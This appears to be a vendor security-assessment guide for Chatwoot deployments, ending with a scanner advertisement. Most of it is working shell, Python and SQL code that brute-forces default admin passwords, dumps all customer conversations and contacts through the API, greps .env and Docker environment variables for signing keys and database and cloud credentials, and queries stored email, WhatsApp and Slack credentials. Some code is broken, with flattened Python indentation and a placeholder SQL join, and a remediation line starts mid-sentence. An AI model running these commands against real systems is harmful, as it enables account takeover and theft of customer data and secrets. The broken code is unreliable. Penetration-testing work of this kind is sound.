Chatwoot is a widely deployed open-source customer support platform (Intercom/Zendesk alternative) built with Ruby on Rails, used by organizations to manage all customer conversations across email, live chat, WhatsApp, Slack, and other channels — it contains all customer support interactions, contact information, and potentially sensitive customer data. Key assessment areas: SECRET_KEY_BASE in the .env file is used by Rails to sign session cookies; DATABASE_URL contains the full PostgreSQL connection string with password; the Chatwoot REST API returns all conversations and contact data; inbox integrations (email, Slack, WhatsApp Business API) store credentials in the database; and the /super_admin panel may be accessible without additional authentication. This guide covers systematic Chatwoot security assessment.
# Chatwoot — authentication and API token testing
CHATWOOT_URL="https://support.example.com"
# Chatwoot admin login — returns access_token
AUTH_RESPONSE=$(curl -s -X POST "${CHATWOOT_URL}/auth/sign_in" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
if data.get('access_token'):
print(f'Access token: {data[\"access_token\"]}')
print(f'Account ID: {data.get(\"account_id\")}')
print(f'Name: {data.get(\"name\")} ({data.get(\"email\")})')
print(f'Role: {data.get(\"role\")}')
else:
print(f'Failed: {d}')
" 2>/dev/null
# Try common default passwords
for PASS in "admin" "password" "chatwoot" "changeme" "123456"; do
RESULT=$(curl -s -X POST "${CHATWOOT_URL}/auth/sign_in" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('data',{}).get('access_token') else 'FAIL')" 2>/dev/null)
echo "admin@example.com/${PASS}: ${RESULT}"
done
# Check super admin panel accessibility
curl -s -o /dev/null -w "%{http_code}" "${CHATWOOT_URL}/super_admin" 2>/dev/null
# 200 = super admin accessible (manages all accounts on the Chatwoot instance)
# Chatwoot REST API — conversation, contact, and agent enumeration
CHATWOOT_URL="https://support.example.com"
ACCESS_TOKEN="your-chatwoot-access-token"
ACCOUNT_ID="1" # Account ID from auth response
# List all conversations — all customer support interactions
curl -s "${CHATWOOT_URL}/api/v1/accounts/${ACCOUNT_ID}/conversations?page=1" \
-H "api_access_token: ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
meta = data.get('meta',{})
convs = data.get('payload',[])
print(f'Conversations: {meta.get(\"all_count\")} total, showing {len(convs)}')
for c in convs[:5]:
print(f' [{c.get(\"id\")}] {c.get(\"meta\",{}).get(\"sender\",{}).get(\"email\")} status={c.get(\"status\")} channel={c.get(\"channel\")}')
print(f' subject={str(c.get(\"additional_attributes\",{}).get(\"mail_subject\",\"\"))[:50]}')
" 2>/dev/null
# List all contacts — complete customer database
curl -s "${CHATWOOT_URL}/api/v1/accounts/${ACCOUNT_ID}/contacts?page=1&include_contacts=true" \
-H "api_access_token: ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
payload = d.get('payload',{})
contacts = payload.get('contacts',[]) if isinstance(payload,dict) else payload
print(f'Contacts: {len(contacts)}')
for c in contacts[:10]:
print(f' [{c.get(\"id\")}] {c.get(\"name\")} email={c.get(\"email\")} phone={c.get(\"phone_number\")}')
" 2>/dev/null
# List all agents
curl -s "${CHATWOOT_URL}/api/v1/accounts/${ACCOUNT_ID}/agents" \
-H "api_access_token: ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
agents=json.load(sys.stdin)
print(f'Agents: {len(agents)}')
for a in agents[:10]:
print(f' [{a.get(\"id\")}] {a.get(\"name\")} ({a.get(\"email\")}) role={a.get(\"role\")}')
" 2>/dev/null
# Chatwoot .env credential extraction and inbox integration secrets
# .env file — Rails secrets and integration credentials
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY_BASE|DATABASE_URL|SMTP|MAILER|REDIS|AWS|SLACK|WHATSAPP|TWILIO|SENDGRID"
# SECRET_KEY_BASE — Rails cookie signing secret (enables session forgery)
# DATABASE_URL — full PostgreSQL DSN with password
# REDIS_URL — Redis connection (may include auth password)
# SMTP credentials for email sending
# AWS credentials if using S3 for file attachments
# Docker deployment
docker inspect chatwoot 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','DATABASE','SMTP','AWS','REDIS','MAILER','SLACK','WHATSAPP','TWILIO']):
print(e)
" 2>/dev/null
# PostgreSQL direct access — all accounts and integration credentials
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All Chatwoot agents with hashed passwords
SELECT id, name, email, role, confirmed_at,
sign_in_count, last_sign_in_at
FROM users
ORDER BY role DESC, last_sign_in_at DESC
LIMIT 20;
EOF
# Inbox configurations — stored integration secrets
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- Email inbox passwords and API keys for integrations
SELECT i.id, i.name, i.channel_type,
i.email, c.channel_details
FROM inboxes i
JOIN channels_* c ON ... -- table name depends on channel_type
LIMIT 20;
EOF
# All channels with credentials (email passwords, WhatsApp API keys, Slack tokens)
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT id, type, credentials, settings
FROM channel_email
UNION ALL
SELECT id, 'whatsapp', credentials::text, settings::text FROM channel_whatsapp
UNION ALL
SELECT id, 'api', credentials::text, settings::text FROM channel_api
LIMIT 20;
EOF
openssl rand -hex 64; restrict .env to 600 owned by the Chatwoot application user; use Docker secrets or a secrets manager in production rather than environment variable files; rotate SECRET_KEY_BASE if exposed (invalidates all existing sessions)| Security Test | Method | Risk |
|---|---|---|
| API conversation and contact enumeration | GET /api/v1/accounts/{id}/conversations — all customer conversations; GET /api/v1/accounts/{id}/contacts — all contacts with emails and phone numbers; complete customer support database | Critical |
| SECRET_KEY_BASE extraction and Rails session forgery | Read .env SECRET_KEY_BASE — Rails cookie signing secret; forge valid session cookies as any Chatwoot user bypassing password authentication; admin session provides full account access | Critical |
| Inbox integration credential extraction from database | PostgreSQL SELECT from channel tables — email IMAP/SMTP passwords, WhatsApp API keys, Twilio tokens, Slack bot tokens; enables reading/sending customer support messages via integration channels | Critical |
| Super admin panel access | GET /super_admin — HTTP 200 = accessible; provides cross-account administration capability for all Chatwoot accounts on the instance | Critical (if accessible) |
| DATABASE_URL PostgreSQL credential extraction | Read .env DATABASE_URL — full connection string with password; direct database access to all conversations, contacts, agent passwords (bcrypt), and integration credentials | Critical |
Ironimo tests Chatwoot deployments for admin credential exploitation, SECRET_KEY_BASE extraction and Rails session forgery, DATABASE_URL PostgreSQL credential extraction, inbox integration credential exposure (email/WhatsApp/Slack/Twilio), REST API conversation and contact data enumeration, super admin panel network exposure, user enumeration via sign_in error differentiation, rate limiting verification on authentication, Redis URL extraction, Docker environment variable credential exposure, and PostgreSQL network exposure on port 5432.
Start free scan